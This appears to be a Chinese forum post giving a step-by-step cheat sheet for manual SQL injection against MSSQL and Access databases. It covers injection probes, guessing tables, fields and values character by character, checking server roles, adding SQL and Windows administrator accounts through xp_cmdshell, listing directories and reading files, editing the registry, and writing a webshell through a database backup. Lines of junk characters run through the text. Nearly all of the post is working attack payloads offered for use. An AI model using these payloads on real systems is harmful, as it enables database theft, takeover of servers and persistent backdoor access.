手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
# z- f$ X" [& f$ j5 J2 d: f
" u- f5 r+ }$ Z2 z/ }9 Q7 S: m: Y3.注入参数是字符'and [查询条件] and ''='

! e- [6 s9 F" t" ~4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 P* h" [" {) |
/ l8 J: `" R8 e  B- D, u' q5.判断数据库系统
6 @$ P+ R" ?/ l! L;and (select count(*) from sysobjects)>0 mssql
# {' {+ H# `+ p;and (select count(*) from msysobjects)>0 access
8 ~% _# M* X7 m; D& D( w
6.猜数据库 ;and (select Count(*) from [数据库名])>0
% }' Y$ \" q" t4 i
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
2 G/ L+ W% y# l6 P  _9 O
; J5 a" z- N  [! U0 M' e. F8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 x2 S$ R; a6 M7 `
9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
& w, m! |, w  u7 |8 i; V5 O;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 j6 r( p6 Z# G) O7 N2 {
3 J1 q$ C0 B) Y/ U7 }6 b5 l- h' }10.测试权限结构（mssql）
) p. a  ~3 u# C" S2 U) D4 I;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 w! n0 H) e$ ^' N4 Z. k; m;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
' n+ u1 M  J+ I;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- H6 }/ _6 T! `; i2 z. i* c;and 1=(select IS_MEMBER('db_owner'));--

. M2 E1 A0 S7 W7 V11.添加mssql和系统的帐户
3 l/ o- e( M8 \6 ~; }8 T3 f;exec master.dbo.sp_addlogin username;--
; j, z- q; l9 }
;exec master.dbo.sp_password null,username,password;--
, f, n+ h& @: _+ |* f2 S
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
" ?2 g$ R% t4 t2 ?0 G1 d/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
/ R3 [" A( Q3 Y. S
" ^) I) c9 U6 e; {;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ w5 ^% T6 f& I  L+ l' m5 \2 V; ?
/ t# u! J3 J0 J9 A1 m;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 k5 `0 v7 b+ }6 i' i- j, E
  ]7 Y$ X7 E3 u! a- q2 N12.(1)遍历目录
: G' O' f& V4 [+ Q  f9 z
;create table dirs(paths varchar(100), id int)
" F7 t+ W. n+ r) k2 u;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
- ]6 V/ |+ F. ]) y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
5 m: j0 N- D. {
(2)遍历目录
7 q9 S" U1 |9 b, c2 K' J9 Z;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 A" P0 X3 l2 }3 {+ [2 Y3 ]/ G! X;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 j5 n& A3 M- N. q" u4 J
13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
' D# `; S$ z( [2 [5 z, @;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  m6 P2 W  C; t9 d& S% @
xp_regwrite 根键,子键, 值名, 值类型, 值
9 v* J; v) U2 L- }* I) g/ E值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' l& {, o( e; {6 |# a. n;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
) _9 ]$ x' ]* p
xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 p4 o% u' {$ L7 }- \
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
5 l* Z( @7 r; J! S" ]use model
3 [1 l3 [, n5 S; q2 }* ^$ j( fcreate table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
8 l$ b2 }  d& m;and (select @@version)>0 获得Windows的版本号
0 n: w1 [1 r& h. D;and user_name()='dbo' 判断当前系统的连接用户是不是sa
+ m- ^# f/ [6 I- u  N;and (select user_name())>0 爆当前系统的连接用户
' r6 a. E5 q8 H5 B3 h( j" P;and (select db_name())>0 得到当前连接的数据库

9 C3 F5 J: p- C2 s) A# D) z16.简洁的webshell

0 k, e, T% _  @use model
  f. C4 o, ?$ L
" x; S6 c4 k2 z! B! fcreate table cmd(str image);
/ K* v% r% Z5 j
insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';
, ?/ A' A$ Y% m6 Q0 a9 v0 d- z( V. v

老男孩

现在很多防注入啊，有其他注入字符码